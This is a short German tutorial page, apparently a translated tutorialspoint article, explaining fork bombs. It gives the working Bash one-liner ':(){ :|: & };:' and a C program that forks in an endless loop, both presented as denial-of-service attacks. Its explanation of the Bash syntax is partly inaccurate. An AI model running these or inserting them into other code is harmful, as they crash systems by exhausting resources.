Heim > Backend-Entwicklung > C++ > C vs. BASH Fork-Bombe? C vs. BASH Fork-Bombe?

C vs. BASH Fork-Bombe? C vs. BASH Fork-Bombe?

王林
Freigeben: 2023-09-13 10:25:02
nach vorne
1416 Leute haben es durchsucht

C vs BASH Fork bomb? C对BASH的Fork炸弹?

Fork()-Bombe ist ein Dos-Angriff (Denial of Service) auf Linux-basierte Systeme. Dies ruft das Fork()-System unendlich oft auf und füllt den Speicher des Programms mit der Absicht, dem System Schaden zuzufügen.

Bash-Skript für Fork Bomb

:(){ :|: & };:
Nach dem Login kopieren

Der Code wird wie folgt erklärt: ( ) ist die Funktionsdefinition, { } definiert den Schleifenkörper. :|:& erstellt einen Speicherort und lässt nicht zu, dass dieser freigegeben wird. Das Programm ruft sich mehrmals und immer wieder auf. Dies ermöglicht unbegrenzte Anrufe.

C Fork Bomb ist ebenfalls vom gleichen DOS-Typ, läuft aber auf einem C-Compiler. Dies führt zu unendlichen Aufrufen der Speicherzuweisung und führt dazu, dass dem System der Speicher ausgeht.

Beispiel

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}
Nach dem Login kopieren

Ausgabe

Infinite calls
Nach dem Login kopieren

Das obige ist der detaillierte Inhalt vonC vs. BASH Fork-Bombe? C vs. BASH Fork-Bombe?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Quelle:tutorialspoint.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage